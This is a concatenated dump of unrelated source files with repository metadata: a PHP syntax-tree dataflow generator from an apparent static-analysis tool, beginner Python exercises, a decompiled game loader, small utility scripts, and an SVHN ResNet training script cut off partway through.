self.deep_obj_address_generate(node, base_locate, now_sort) return '&{}'.format(now_nodeid) elif isinstance(node, php.MethodCall): # self.base_dataflow_generate([node], base_locate, now_sort=now_sort) now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort) return '&{}'.format(now_nodeid) elif isinstance(node, php.StaticProperty): return '{}->{}'.format(self.get_node_name(node.node, base_locate, now_sort), self.get_node_name(node.name, base_locate, now_sort)) elif isinstance(node, php.StaticMethodCall): # self.base_dataflow_generate([node], base_locate, now_sort=now_sort) now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort) return '&{}'.format(now_nodeid) elif node_typename in self.op_node: now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort) return '&{}'.format(now_nodeid) elif isinstance(node, php.Cast): return '({}){}'.format(self.get_node_name(node.type, base_locate, now_sort), self.get_node_name(node.expr, base_locate, now_sort)) elif isinstance(node, php.Silence): return self.get_node_name(node.expr, base_locate, now_sort) elif isinstance(node, php.ForeachVariable): return self.get_node_name(node.name, base_locate, now_sort) elif node_typename in self.special_function: # self.base_dataflow_generate([node], base_locate, now_sort=now_sort) now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort) return '&{}'.format(now_nodeid) else: if not node: return "" return node def get_node_nodes(self, node): result_nodes = [] if type(node) is list: return node if isinstance(node, php.Block): result_nodes = node.nodes return result_nodes def get_binaryop_name(self, node, base_locate, now_sort): node_typename = node.__class__.__name__ if isinstance(node, php.BinaryOp): result = (self.get_node_name(node.left, base_locate, now_sort), node.op, self.get_node_name(node.right, base_locate, now_sort)) return result elif isinstance(node, php.UnaryOp): return self.get_node_name(node.op, base_locate, now_sort), self.get_node_name(node.expr, base_locate, now_sort) elif node_typename in ['IsSet']: node_nodes = node.nodes result = [] for node_node in node_nodes: result.append(self.get_node_name(node_node, base_locate, now_sort)) return 'FunctionCall-isset({})'.format(result) return self.get_node_name(node, base_locate, now_sort) def base_dataflow_generate(self, nodes, base_locate, now_sort=0): """ ๅŸบ็ก€้€’ๅฝ’็ฑป็”Ÿๆˆdataflow :param now_sort: :param nodes: :param base_locate: :return: """ now_locate = base_locate for node in nodes: try: node_typename = node.__class__.__name__ if now_sort >= 0: now_sort += 1 if not node: continue if node_typename in self.Object_define: # ๅฝ“่Š‚็‚นๆ˜ฏ็ฑปๅž‹ๅฎšไน‰๏ผŒๅˆ™้œ€่ฆ่ฟ›ๅ…ฅๆ–ฐ็š„ๅŸŸๅนถๅ˜ๆ›ดlocate node_name = node.name node_nodes = node.nodes new_locate = base_locate + '.' + node_typename + '-' + node_name node_source = node_typename + '-' + node_name flow_type = 'new' + node_typename node_sink = self.get_node_params(node, new_locate, now_sort) # check method modifiers if node_typename == 'Method': node_modifiers = node.modifiers if 'abstract' in node_modifiers: continue # print(node_modifiers) # add now dataflow self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) # add param if isinstance(node, php.Function) or isinstance(node, php.Method): for param in node.params: # add into dataflow param_name = self.get_node_name(param, new_locate, -1) self.dataflows.append((new_locate, 0, param_name, 'new' + node_typename + 'params', self.get_node_name(param.default, new_locate, now_sort))) # ๅฐพ้€’ๅฝ’ self.base_dataflow_generate(node_nodes, new_locate) elif node_typename == 'Assignment': # ่ต‹ๅ€ผ node_source = self.get_node_name(node.node, now_locate, now_sort) flow_type = node_typename node_sink = self.get_node_name(node.expr, now_locate, now_sort) self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename == 'ListAssignment': node_source = self.get_node_name(node.nodes, now_locate, now_sort) flow_type = node_typename node_sink = self.get_node_name(node.expr, now_locate, now_sort) self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename in self.method_call: node_source = self.get_node_name(node.name, now_locate, now_sort) flow_type = node_typename new_locate = base_locate + '.' + node_typename + '-' + node_source if node_typename == 'MethodCall': node_source = self.get_node_name(node.node, now_locate, now_sort) + '->' + node_source elif node_typename == 'StaticMethodCall': node_source = self.get_node_name(node.class_, now_locate, now_sort) + '::' + node_source elif node_typename == 'ObjectProperty': node_source = self.get_node_name(node.node, now_locate, now_sort) + '->' + node_source elif node_typename == 'StaticProperty': node_source = self.get_node_name(node.node, now_locate, now_sort) + '::' + node_source node_sink = self.get_node_params(node, new_locate, -1) self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename in self.special_function: node_source = node_typename.lower() flow_type = 'FunctionCall' new_locate = base_locate + '.' + flow_type + '-' + node_source node_sink = self.get_node_params(node, new_locate, now_sort) if node_typename in self.special_function_single: node_sink = self.get_node_name(node.node, now_locate, -1) elif node_typename in self.special_function_multi: result_params = [] for param in node.nodes: result_params.append(self.get_node_name(param, now_locate, -1)) node_sink = tuple(result_params) elif node_typename in self.special_function_expr: node_sink = self.get_node_name(node.expr, now_locate, -1) self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename == 'New': node_source = self.get_node_name(node.name, now_locate, now_sort) flow_type = 'NewClass' new_locate = base_locate + '.' + flow_type node_sink = self.get_node_params(node, new_locate, now_sort) # for param in node.params: # # add into dataflow # param_name = self.get_node_name(param, now_locate, now_sort) # # self.dataflows.append((new_locate, 0, param_name, 'newClassparams', # self.get_node_name(param.is_ref, now_locate, now_sort))) self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename in self.switch_node: new_locate = base_locate + '.' + node_typename node_source = node_typename flow_type = node_typename if node_typename in ['While', 'DoWhile']: # ๅค„็†expr op node_id, new_node = self.deep_obj_address_generate(node.expr, new_locate, -1) if node_id: node_sink = '&{}'.format(node_id) else: node_sink = self.get_node_name(new_node, now_locate, now_sort) node_nodes = self.get_node_nodes(node.node) elif node_typename == 'If': # ๅค„็†expr op node_id, new_node = self.deep_obj_address_generate(node.expr, new_locate, -1) if node_id: node_sink = '&{}'.format(node_id) else: node_sink = self.get_node_name(new_node, now_locate, now_sort) node_nodes = self.get_node_nodes(node.node) # IFๆ˜ฏ็‰นๆฎŠ็š„่ฏญไน‰็ป“ๆž„๏ผŒelseifๅ’Œelse้ƒฝๅœจifไน‹ไธ‹๏ผŒๆ‰€ไปฅๅฟ…้กปๆๅ‰่ฟ”ๅ›ž self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) # if ็š„exprไธบๆกไปถ๏ผŒๆ‰€ไปฅ่ฆ่ฟ›deep op # self.deep_op_generate(node.expr, new_locate, 0) # ๅฐพ้€’ๅฝ’ self.base_dataflow_generate(node_nodes, new_locate) # for elseif node_elseifs = self.get_node_nodes(node.elseifs) for node_elseif in node_elseifs: node_typename = node_elseif.__class__.__name__ new_locate = base_locate + '.' + node_typename now_sort += 1 node_source = node_typename flow_type = node_typename node_id, new_node = self.deep_obj_address_generate(node_elseif.expr, new_locate, -1) if node_id: node_sink = '&{}'.format(node_id) else: node_sink = self.get_node_name(new_node, now_locate, now_sort) node_nodes = self.get_node_nodes(node_elseif.node) self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) # ๅฐพ้€’ๅฝ’ self.base_dataflow_generate(node_nodes, new_locate) # for else node_else = node.else_ if node_else: node_typename = node_else.__class__.__name__ new_locate = base_locate + '.' + node_typename now_sort += 1 node_source = node_typename flow_type = node_typename node_sink = () node_nodes = self.get_node_nodes(node_else.node) self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) # ๅฐพ้€’ๅฝ’ self.base_dataflow_generate(node_nodes, new_locate) continue elif node_typename in ['Switch', 'Case', 'Default']: if node_typename == 'Default': node_sink = 'Default' else: node_sink = self.get_node_name(node.expr, now_locate, now_sort) node_nodes = self.get_node_nodes(node.nodes) elif node_typename in ['Try']: node_sink = "" node_nodes = self.get_node_nodes(node.nodes) # tryๆ˜ฏ็‰นๆฎŠ็š„่ฏญไน‰็ป“ๆž„๏ผŒcatch ๅ’Œ finally ้ƒฝๅบ”่ฏฅๅœจไน‹ๅŽ self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) # ๅฐพ้€’ๅฝ’ self.base_dataflow_generate(node_nodes, new_locate) # catch node_catches = self.get_node_nodes(node.catches) for node_catch in node_catches: node_typename = node_catch.__class__.__name__ new_locate = new_locate + '.' + node_typename now_sort += 1 node_source = node_typename flow_type = node_typename node_sink = (node_catch.class_, self.get_node_name(node_catch.var, now_locate, now_sort)) node_nodes = self.get_node_nodes(node_catch.nodes) self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) # ๅฐพ้€’ๅฝ’ self.base_dataflow_generate(node_nodes, new_locate) # finally node_finally = getattr(node, 'finally') if node_finally: node_typename = node_finally.__class__.__name__ new_locate = base_locate + '.' + node_typename now_sort += 1 node_source = node_typename flow_type = node_typename node_sink = () node_nodes = self.get_node_nodes(node_finally.nodes) self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) # ๅฐพ้€’ๅฝ’ self.base_dataflow_generate(node_nodes, new_locate) continue elif node_typename in ['For']: node_sink = "" node_nodes = self.get_node_nodes(node.node) self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) new_locate = now_locate + '.' + node_typename node_for_starts = node.start if node_for_starts: for node_for_start in node_for_starts: node_for_start_flow_type = node_typename + '-' + 'Start' node_for_start_type = node_for_start.__class__.__name__ if node_for_start_type == 'Variable': # if $n: ๅˆคๆ–ญๆŸไธชๅ˜้‡ๆ˜ฏๅฆไธบ็œŸ node_for_start_source = self.get_node_name(node_for_start.name, now_locate, now_sort) node_for_start_sink = "" elif node_for_start_type in ['PostIncDecOp', 'PreIncDecOp']: node_for_start_source = self.get_node_name(node_for_start, now_locate, now_sort) node_for_start_sink = self.get_node_name(node_for_start.expr, now_locate, now_sort) else: node_for_start_source = self.get_node_name(node_for_start.node, now_locate, now_sort) node_for_start_sink = self.get_node_name(node_for_start.expr, now_locate, now_sort) self.dataflows.append((new_locate, 0, node_for_start_source, node_for_start_flow_type, node_for_start_sink)) node_for_tests = node.test if node_for_tests: for node_for_test in node_for_tests: node_for_test_flow_type = node_typename + '-' + 'Limit' node_for_test_type = node_for_test.__class__.__name__ if node_for_test_type == 'BinaryOp': node_for_test_source = self.get_node_name(node_for_test.left, now_locate, now_sort) node_for_test_sink = self.get_binaryop_name(node_for_test, now_locate, now_sort) else: node_for_test_source = self.get_node_name(node_for_test, now_locate, now_sort) node_for_test_sink = self.get_node_name(node_for_test, now_locate, now_sort) self.dataflows.append( (new_locate, 0, node_for_test_source, node_for_test_flow_type, node_for_test_sink)) node_for_counts = node.count if node_for_counts: for node_for_count in node_for_counts: node_for_count_flow_type = node_typename + '-' + 'Count' node_for_count_type = node_for_count.__class__.__name__ if node_for_count_type in ['PostIncDecOp', 'PreIncDecOp']: node_for_count_source = self.get_node_name(node_for_count, now_locate, now_sort) node_for_count_sink = self.get_node_name(node_for_count.expr, now_locate, now_sort) elif node_for_count_type in ['AssignOp']: node_for_count_source = self.get_node_name(node_for_count.left, now_locate, now_sort) node_for_count_sink = '{} {} {}'.format( self.get_node_name(node_for_count.left, now_locate, now_sort), self.get_node_name(node_for_count.op, now_locate, now_sort), self.get_node_name( node_for_count.right, now_locate, now_sort)) elif node_for_count_type in ['Assignment']: node_for_count_source = self.get_node_name(node_for_count.node, now_locate, now_sort) node_for_count_sink = self.get_node_name(node_for_count.expr, now_locate, now_sort) else: node_for_count_source = self.get_node_name(node_for_count, now_locate, now_sort) node_for_count_sink = self.get_node_name(node_for_count, now_locate, now_sort) node_for_count_flow_type += '-{}'.format(node_for_count_type) self.dataflows.append( (new_locate, 0, node_for_count_source, node_for_count_flow_type, node_for_count_sink)) self.base_dataflow_generate(node_nodes, new_locate) continue elif isinstance(node, php.Foreach): node_sink = (self.get_node_name(node.expr, now_locate, now_sort), self.get_node_name(node.keyvar, now_locate, now_sort), self.get_node_name(node.valvar, now_locate, now_sort)) node_nodes = self.get_node_nodes(node.node) else: continue # add now dataflow self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) # ๅฐพ้€’ๅฝ’ self.base_dataflow_generate(node_nodes, new_locate) elif node_typename in self.variable_type_node: if node_typename == 'Cast': node_modifiers = node.type node_nodes = [node.expr] node_source = self.get_node_name(node.expr, now_locate, now_sort) flow_type = node_typename node_sink = '({}){}'.format(node_modifiers, self.get_node_name(node.expr, now_locate, now_sort)) # add now dataflow self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) # ๅฐพ้€’ๅฝ’ self.base_dataflow_generate(node_nodes, now_locate, now_sort=now_sort) now_sort += 1 elif node_typename == 'Static': node_modifiers = 'Static' node_nodes = node.nodes for node in node_nodes: node_typename = node.__class__.__name__ if node_typename == 'StaticVariable': node_source = self.get_node_name(node.name, now_locate, now_sort) flow_type = 'Assignment' node_sink = '({}){}'.format(node_modifiers, self.get_node_name(node.initial, now_locate, now_sort)) # add now dataflow self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename == 'Global': node_modifiers = 'Global' node_nodes = node.nodes for node in node_nodes: node_typename = node.__class__.__name__ node_source = self.get_node_name(node.name, now_locate, now_sort) flow_type = 'Global' node_sink = '({}){}'.format(node_modifiers, self.get_node_name(node.name, now_locate, now_sort)) self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename in self.import_node: if node_typename == 'UseDeclarations': node_nodes = node.nodes self.base_dataflow_generate(node_nodes, now_locate, now_sort=now_sort) elif node_typename == 'UseDeclaration': node_source = node_typename flow_type = node_typename node_sink = self.get_node_name(node.name, now_locate, now_sort) # add now dataflow self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename == 'TraitUse': node_source = self.get_node_name(node.name, now_locate, now_sort) flow_type = node_typename node_sink = self.get_node_name(node.renames, now_locate, now_sort) # add now dataflow self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename == 'ClassVariables': # classvarialbeๅฏไปฅๅฝ“ไฝœๆ™ฎ้€šๅ˜้‡่ต‹ๅ€ผ node_modifiers = node.modifiers node_nodes = node.nodes for node in node_nodes: node_typename = node.__class__.__name__ if node_typename == 'ClassVariable': node_source = self.get_node_name(node.name, now_locate, now_sort) flow_type = 'Assignment' node_sink = '({}){}'.format(node_modifiers, self.get_node_name(node.initial, now_locate, now_sort)) # add now dataflow self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename in ['ClassVariable', 'StaticVariable']: node_source = self.get_node_name(node.name, now_locate, now_sort) flow_type = 'Assignment' node_sink = self.get_node_name(node.initial, now_locate, now_sort) # add now dataflow self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename in ['LexicalVariable']: node_source = self.get_node_name(node.name, now_locate, now_sort) flow_type = 'Assignment' node_sink = self.get_node_name(node.is_ref, now_locate, now_sort) # add now dataflow self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename in ['ClassConstants', 'ConstantDeclarations']: node_modifiers = 'const' node_nodes = node.nodes for node in node_nodes: node_typename = node.__class__.__name__ if node_typename in ['ClassConstant', 'ConstantDeclaration']: node_source = self.get_node_name(node.name, now_locate, now_sort) flow_type = 'Assignment' node_sink = '({}){}'.format(node_modifiers, self.get_node_name(node.initial, now_locate, now_sort)) # add now dataflow self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename in self.op_node: # deep op gen self.deep_obj_address_generate(node, now_locate, now_sort=now_sort) elif node_typename == 'Silence': node_nodes = [node.expr] self.base_dataflow_generate(node_nodes, now_locate, now_sort=now_sort) elif node_typename in self.define_node: # ็‰นๆฎŠ็š„ๅฎšไน‰็ป“ๆž„ flow_type = node_typename if node_typename == 'Interface': node_name = self.get_node_name(node.name, now_locate, now_sort) new_locate = now_locate + '.' + node_typename + '-' + node_name node_source = node_typename + '-' + node_name node_nodes = node.nodes node_sink = () self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) elif node_typename == 'Namespace': node_name = self.get_node_name(node.name, now_locate, now_sort) new_locate = now_locate + '.' + node_typename + '-' + node_name node_source = node_typename + '-' + node_name node_nodes = node.nodes node_sink = () # add now dataflow self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) # ๅฐพ้€’ๅฝ’ self.base_dataflow_generate(node_nodes, new_locate) elif node_typename == 'Block': node_nodes = node.nodes self.base_dataflow_generate(node_nodes, now_locate, now_sort=now_sort) elif node_typename in self.white_node: continue else: pass except KeyboardInterrupt: raise except: logger.warn("[PhpUnSerChain] Something error..\n{}".format(traceback.format_exc())) continue def deep_obj_address_generate(self, node, base_locate, now_sort=False): """ ๆทฑๅ…ฅ้€’ๅฝ’opๆ“ไฝœๅฏปๅ€๏ผŒไปฅ&ไฝœไธบๅฏปๅ€ๆ–นๅผๆ ‡ๅฟ—๏ผŒๅŽ็ปญไธบๆ“ไฝœid :param node: :param base_locate: :param now_sort: :return: """ node_typename = node.__class__.__name__ now_locate = base_locate # ็”จ-1ๆ ‡่ฏ†ๆ˜ฏๅ†…็ฝฎ่ฐƒ็”จ้“พ new_sort = -1 if node_typename in self.op_node: if node_typename in ['BinaryOp', 'AssignOp']: # ๅทฆๅ€ผ้€’ๅฝ’ node_lefts = node.left last_node_id, new_node = self.deep_obj_address_generate(node_lefts, now_locate, now_sort=new_sort) if last_node_id: node_source = '&{}'.format(last_node_id) else: node_source = new_node flow_type = '{}-{}'.format(node_typename, node.op) # ๅณๅ€ผ้€’ๅฝ’ node_rights = node.right last_node_id, new_node = self.deep_obj_address_generate(node_rights, now_locate, now_sort=new_sort) if last_node_id: node_sink = '&{}'.format(last_node_id) else: node_sink = new_node self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) now_nodeid = len(self.dataflows) return now_nodeid, True elif node_typename in ['PostIncDecOp', 'PreIncDecOp', 'UnaryOp']: last_node_id, new_node = self.deep_obj_address_generate(node.expr, now_locate, now_sort=new_sort) if last_node_id: node_source = '&{}'.format(last_node_id) else: node_source = new_node flow_type = '{}-{}'.format(node_typename, node.op) node_sink = 1 self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) now_nodeid = len(self.dataflows) return now_nodeid, True elif node_typename == 'TernaryOp': last_node_id, new_node = self.deep_obj_address_generate(node.expr, now_locate, now_sort=new_sort) if last_node_id: node_source = '&{}'.format(last_node_id) else: node_source = new_node flow_type = '{}-?'.format(node_typename) node_iftrue = node.iftrue last_node_id, new_node = self.deep_obj_address_generate(node_iftrue, now_locate, now_sort=new_sort) if last_node_id: new_node_source = '&{}'.format(last_node_id) else: new_node_source = new_node new_node_flow_type = 'TernaryOp-return' node_iffalse = node.iffalse last_node_id, new_node = self.deep_obj_address_generate(node_iffalse, now_locate, now_sort=new_sort) if last_node_id: new_node_sink = '&{}'.format(last_node_id) else: new_node_sink = new_node self.dataflows.append((now_locate, now_sort, new_node_source, new_node_flow_type, new_node_sink)) new_nodeid = len(self.dataflows) node_sink = new_nodeid self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink)) now_nodeid = len(self.dataflows) return now_nodeid, True elif node_typename in ['Variable', 'ArrayOffset', 'Array', 'Constant']: return False, self.get_node_name(node, base_locate, now_sort) elif node_typename in ['list', 'dict', 'str', 'int']: return False, node else: self.base_dataflow_generate([node], now_locate, now_sort=now_sort) now_nodeid = len(self.dataflows) return now_nodeid, True
8c65456eca2603036d5dbbcba1658c39a7b9998b
babaa6284820ae5ede8e0bb257cb802913ebe976
/ML01-Python_Introduction/05_boolean_true_false.py
d92aa8f2e5de06ea1f65f5df33e7d8a3b9ac8b6b
[]
no_license
kevinelong/ML
c6a69be96202248214ed3c0db5d2514be8559411
93f430e31f1470cf1ac3ab6ee8ab5d701b3fc6e7
refs/heads/master
2023-05-02T12:08:32.693948
2021-05-21T19:21:28
2021-05-21T19:21:28
369,008,732
0
0
null
null
null
null
UTF-8
Python
false
false
128
py
isCool = True isTooCool = False print(isCool) isGreater: bool = 3 > 2 isSame: bool = 2 + 2 == 4 print(isGreater) print(isSame)
a0a6c50f47ed536930fa9134d3ec75092e91ac68
6b791247919f7de90c8402abcca64b32edd7a29b
/lib/coginvasion/hood/DGSafeZoneLoader.py
424ee7563b7c2f46dbeca8897532f40739267a72
[ "Apache-2.0" ]
permissive
theclashingfritz/Cog-Invasion-Online-Dump
a9bce15c9f37b6776cecd80b309f3c9ec5b1ec36
2561abbacb3e2e288e06f3f04b935b5ed589c8f8
refs/heads/master
2021-01-04T06:44:04.295001
2020-02-14T05:23:01
2020-02-14T05:23:01
240,434,213
1
0
null
null
null
null
UTF-8
Python
false
false
2,152
py
# uncompyle6 version 3.2.4 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)] # Embedded file name: lib.coginvasion.hood.DGSafeZoneLoader from lib.coginvasion.holiday.HolidayManager import HolidayType import SafeZoneLoader, DGPlayground class DGSafeZoneLoader(SafeZoneLoader.SafeZoneLoader): def __init__(self, hood, parentFSM, doneEvent): SafeZoneLoader.SafeZoneLoader.__init__(self, hood, parentFSM, doneEvent) self.playground = DGPlayground.DGPlayground self.pgMusicFilename = 'phase_8/audio/bgm/DG_nbrhood.mid' self.interiorMusicFilename = 'phase_8/audio/bgm/DG_SZ.mid' self.battleMusicFile = 'phase_3.5/audio/bgm/encntr_general_bg.mid' self.invasionMusicFiles = [ 'phase_12/audio/bgm/BossBot_CEO_v1.mid', 'phase_9/audio/bgm/encntr_suit_winning.mid'] self.tournamentMusicFiles = [ 'phase_3.5/audio/bgm/encntr_nfsmw_bg_1.ogg', 'phase_3.5/audio/bgm/encntr_nfsmw_bg_2.ogg', 'phase_3.5/audio/bgm/encntr_nfsmw_bg_3.ogg', 'phase_3.5/audio/bgm/encntr_nfsmw_bg_4.ogg'] self.bossBattleMusicFile = 'phase_7/audio/bgm/encntr_suit_winning_indoor.mid' self.dnaFile = 'phase_8/dna/daisys_garden_sz.pdna' self.szStorageDNAFile = 'phase_8/dna/storage_DG_sz.pdna' self.szHolidayDNAFile = None if base.cr.holidayManager.getHoliday() == HolidayType.CHRISTMAS: self.szHolidayDNAFile = 'phase_8/dna/winter_storage_DG_sz.pdna' self.telescope = None self.birdNoises = [ 'phase_8/audio/sfx/SZ_DG_bird_01.ogg', 'phase_8/audio/sfx/SZ_DG_bird_02.ogg', 'phase_8/audio/sfx/SZ_DG_bird_03.ogg', 'phase_8/audio/sfx/SZ_DG_bird_04.ogg'] return def load(self): SafeZoneLoader.SafeZoneLoader.load(self) hq = self.geom.find('**/*toon_landmark_hqDG*') hq.find('**/doorFrameHoleLeft_0').stash() hq.find('**/doorFrameHoleRight_0').stash() hq.find('**/doorFrameHoleLeft_1').stash() hq.find('**/doorFrameHoleRight_1').stash()
55e4874425eb3724a4f27a4eb14c1cdd41077c73
0b953c73458679beeef3b95f366601c834cff9b4
/Code Kata/player/string length without strlen.py
ae4291f56ac0bfc9852bf2406e6ee385ea7fcba1
[]
no_license
Sravaniram/Python-Programming
41531de40e547f0f461e77b88e4c0d562faa041c
f6f2a4e3a6274ecab2795062af8899c2a06c9dc1
refs/heads/master
2020-04-11T12:49:18.677561
2018-06-04T18:04:13
2018-06-04T18:04:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
61
py
a=raw_input() count=0 for x in a: count=count+1 print count
406903fe9df4ba09c0d193fe84efd2cd76bc4e47
4c9e3a963aef1d8f0cea9edc35e3c5ffc64a87d1
/tornado-frame/commands/sqlload.py
19506d19d86fd44141c5870c37f821fb4d09ba89
[]
no_license
hackrole/daily-program
d6820d532a9ebb8132676e58da8e2382bd459b8f
cff87a09f03ce5bd9e186b0302bead6cd8484ab5
refs/heads/master
2021-01-21T13:11:55.287908
2015-04-21T14:34:36
2015-04-21T14:34:36
17,940,553
0
0
null
null
null
null
UTF-8
Python
false
false
416
py
#!/usr/bin/env python # encoding: utf-8 import sys import cPickle as pickle from os import path def load_database(db_session, fixture): """ load the database data for the fixtures, the fixture is a file path """ # TODO: the fixture file path controls # load the fixture datas = pickle.loads(fixture) db_session.add_all(datas) db_session.commit() print "load database ok"
ab1003d7efdeb5fc332d4f1e755524aee27b2773
8a49aafeea46ded564dd2482350f82b4334436ed
/dataloaders/path.py
9814116a02c91cdb947275fff256967754e3365b
[]
no_license
yifuxiong/Deeplab_pytorch
1f96cd69a5597edc2021c24a5b88e462f67cb738
530809110156625945dfabd9b6dec0b2c0190415
refs/heads/master
2022-06-24T19:55:28.687829
2019-02-19T08:22:09
2019-02-19T08:22:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
523
py
# -*- coding: utf-8 -*- """ @Time : 2019/1/30 19:30 @Author : Wang Xin @Email : [email protected] """ class Path(object): @staticmethod def db_root_dir(database): if database == 'pascal': return '/home/data/model/wangxin/VOCdevkit/VOC2012/' # folder that contains VOCdevkit/. elif database == 'vocaug': return '/home/data/model/wangxin/VOCAug/' else: print('Database {} not available.'.format(database)) raise NotImplementedError
31be3bffebdfd775abbd2a5ef8f4ee6bdc9cff3c
54f352a242a8ad6ff5516703e91da61e08d9a9e6
/Source Codes/AtCoder/abc010/B/4887036.py
ba13d3e730ec5dd09e19a0574b60ad637de85cd5
[]
no_license
Kawser-nerd/CLCDSA
5cbd8a4c3f65173e4e8e0d7ed845574c4770c3eb
aee32551795763b54acb26856ab239370cac4e75
refs/heads/master
2022-02-09T11:08:56.588303
2022-01-26T18:53:40
2022-01-26T18:53:40
211,783,197
23
9
null
null
null
null
UTF-8
Python
false
false
270
py
N = int(input()) maisu = list(map(int, input().split())) ans = 0 for i in maisu: while (i % 3 == 2 or i % 2 == 0): if (i % 3 == 2): ans += 1 i -= 1 if (i % 2 == 0): ans += 1 i -= 1 print(ans)
7dc7064cb13f7cbf99bae8290d431be03989ad48
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/380/usersdata/321/76866/submittedfiles/testes.py
e60134f230e927dc05748590d538982d937d6895
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
131
py
# -*- coding: utf-8 -*- #COMECE AQUI ABAIXO #ENTRADA m= float(input('Digite um valor em metros: ')) c= (m*100) print('%.1f cm' % c)
d31f88ef07572a53d56f98887ef7cefbc063f60a
e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f
/indices/flinder.py
ed7b3b28a911e187cd355dfab60c5a0a84c0618c
[]
no_license
psdh/WhatsintheVector
e8aabacc054a88b4cb25303548980af9a10c12a8
a24168d068d9c69dc7a0fd13f606c080ae82e2a6
refs/heads/master
2021-01-25T10:34:22.651619
2015-09-23T11:54:06
2015-09-23T11:54:06
42,749,205
2
3
null
2015-09-23T11:54:07
2015-09-18T22:06:38
Python
UTF-8
Python
false
false
201
py
ii = [('LyelCPG2.py', 1), ('FitzRNS3.py', 3), ('KiddJAE.py', 4), ('BuckWGM.py', 2), ('FitzRNS4.py', 2), ('CoolWHM3.py', 46), ('FitzRNS.py', 3), ('ClarGE3.py', 6), ('DibdTRL.py', 1), ('FitzRNS2.py', 4)]
ed9770b7effbdb44aa1fcb0abbaef7af6a08b6c7
47b40cce73500801c7216d16c3bf8629d8305e8c
/tools/tensorpack/examples/ResNet/svhn-resnet.py
b22bd115b73ddf6284d6c15c57c06a6e8ad71a16
[ "Apache-2.0" ]
permissive
laceyg/ternarynet
a19d402a8bf5e54c477f4dd64273b899664a8f17
b17744c2aba3aba7e7e72decb3b8a02792d33b54
refs/heads/master
2020-02-26T14:15:37.507028
2017-03-06T18:05:22
2017-03-06T18:05:22
83,691,489
2
0
null
null
null
null
UTF-8
Python
false
false
2,988
py
#!/usr/bin/env python # -*- coding: UTF-8 -*- # File: svhn-resnet.py # Author: Yuxin Wu <[email protected]> import tensorflow as tf import argparse import numpy as np import os from tensorpack import * from tensorpack.tfutils.symbolic_functions import * from tensorpack.tfutils.summary import * """ ResNet-110 for SVHN Digit Classification. Reach 1.8% validation error after 70 epochs, with 2 TitanX. 2it/s. You might need to adjust the learning rate schedule when running with 1 GPU. """ import imp cifar_example = imp.load_source('cifar_example', os.path.join(os.path.dirname(__file__), 'cifar10-resnet.py')) Model = cifar_example.Model BATCH_SIZE = 128 def get_data(train_or_test): isTrain = train_or_test == 'train' pp_mean = dataset.SVHNDigit.get_per_pixel_mean() if isTrain: d1 = dataset.SVHNDigit('train') d2 = dataset.SVHNDigit('extra') ds = RandomMixData([d1, d2]) else: ds = dataset.SVHNDigit('test') if isTrain: augmentors = [ imgaug.CenterPaste((40, 40)), imgaug.Brightness(10), imgaug.Contrast((0.8,1.2)), imgaug.GaussianDeform( # this is slow. without it, can only reach 1.9% error [(0.2, 0.2), (0.2, 0.8), (0.8,0.8), (0.8,0.2)], (40, 40), 0.2, 3), imgaug.RandomCrop((32, 32)), imgaug.MapImage(lambda x: x - pp_mean), ] else: augmentors = [ imgaug.MapImage(lambda x: x - pp_mean) ] ds = AugmentImageComponent(ds, augmentors) ds = BatchData(ds, 128, remainder=not isTrain) if isTrain: ds = PrefetchData(ds, 5, 5) return ds def get_config(): logger.auto_set_dir() # prepare dataset dataset_train = get_data('train') step_per_epoch = dataset_train.size() dataset_test = get_data('test') lr = get_scalar_var('learning_rate', 0.01, summary=True) return TrainConfig( dataset=dataset_train, optimizer=tf.train.MomentumOptimizer(lr, 0.9), callbacks=Callbacks([ StatPrinter(), ModelSaver(), InferenceRunner(dataset_test, [ScalarStats('cost'), ClassificationError() ]), ScheduledHyperParamSetter('learning_rate', [(1, 0.1), 